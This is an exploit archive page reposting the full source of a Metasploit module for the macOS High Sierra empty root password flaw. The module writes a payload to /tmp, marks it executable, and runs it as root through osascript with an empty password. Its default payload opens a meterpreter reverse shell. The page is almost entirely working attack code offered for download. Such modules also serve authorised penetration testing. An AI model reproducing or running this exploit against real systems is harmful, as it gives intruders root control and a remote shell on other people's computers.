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Mac OS X Root Privilege Escalation

Mac OS X Root Privilege Escalation
Posted Nov 29, 2017
Site metasploit.com

This Metasploit module exploits a serious flaw in Mac OS X High Sierra. Any user can login with user "root", leaving an empty password.

tags | exploit, root
MD5 | f135153db9d869d3133d4890fca2f61f

Mac OS X Root Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info,
'Name' => 'Mac OS X Root Privilege Escalation',
'Description' => %q{
This module exploits a serious flaw in MacOSX High Sierra.
Any user can login with user "root", leaving an empty password.
},
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://twitter.com/lemiorhan/status/935578694541770752' ],
[ 'URL', 'https://news.ycombinator.com/item?id=15800676' ],
[ 'URL', 'https://forums.developer.apple.com/thread/79235' ],
],
'Platform' => 'osx',
'Arch' => ARCH_X64,
'DefaultOptions' =>
{
'PAYLOAD' => 'osx/x64/meterpreter_reverse_tcp',
},
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [
[ 'Mac OS X 10.13.1 High Sierra x64 (Native Payload)', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 29 2017'
))
end

def exploit_cmd(root_payload)
"osascript -e 'do shell script \"#{root_payload}\" user name \"root\" password \"\" with administrator privileges'"
end

def exploit
payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
print_status("Writing payload file as '#{payload_file}'")
write_file(payload_file, payload.raw)
register_file_for_cleanup(payload_file)
output = cmd_exec("chmod +x #{payload_file}")
print_status("Executing payload file as '#{payload_file}'")
cmd_exec(exploit_cmd(payload_file))
end
end

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